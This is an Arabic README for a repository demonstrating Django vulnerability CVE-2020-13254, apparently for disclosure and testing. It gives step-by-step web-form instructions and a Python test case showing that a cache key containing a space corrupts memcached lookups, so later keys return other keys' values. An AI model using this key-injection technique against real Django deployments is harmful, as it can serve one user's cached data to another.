Django CVE-2020-13254

يوضح هذا المستودع استغلال CVE-2020-13254 بطريقتين – عبر واجهة ويب وعبر حالة اختبار فاشلة.

لمزيد من التفاصيل، زر:

https://danpalmer.me/2020-06-07-django-memcache-vulnerability/

الاستغلال عبر الويب

يقدم المثال واجهة ويب مع نموذجين، أحدهما يضبط القيم في ذاكرة التخزين المؤقت والآخر يسترجعها. تُترجم هذه مباشرة إلى استدعاءات لواجهة خلفية ذاكرة التخزين المؤقت في Django. نظرًا لأن قاعدة الكود لا تطبق أي نظام جلسات أو مصادقة، فإن الاستخدامات المتعددة في نفس علامة تبويب المتصفح لا يمكن تمييزها عن الاستخدامات المتعددة من قبل مستخدمين مختلفين عبر الأجهزة.

للاستغلال:

1. اضبط مفاتيح A و B إلى القيمتين a و b.
2. حاول ضبط C D إلى القيمة c d. سيؤدي هذا إلى خطأ.
3. حاول استرجاع المفتاح A، ستكون النتيجة خالية بشكل غير صحيح.
4. حاول استرجاع المفتاح B، ستكون النتيجة a بشكل غير صحيح.

العرض التوضيحي عبر الاختبارات

يمكن التعبير عن هذه العملية كحالة اختبار كالتالي:

from django.core.cache import cache
from django.test import TestCase


class CacheTests(TestCase):
    def test_cache(self):
        cache.set('k1', 'v1')
        cache.set('k2', 'v2')
        try:
            cache.set('a b', 'v3')
        except Exception:
            pass
        self.assertEqual(
            [
              cache.get(x) for x in
              ['k2', 'k1', 'k2', 'k1', 'k2', 'k1']
            ],
            ['v2', 'v1', 'v2', 'v1', 'v2', 'v1'],
        )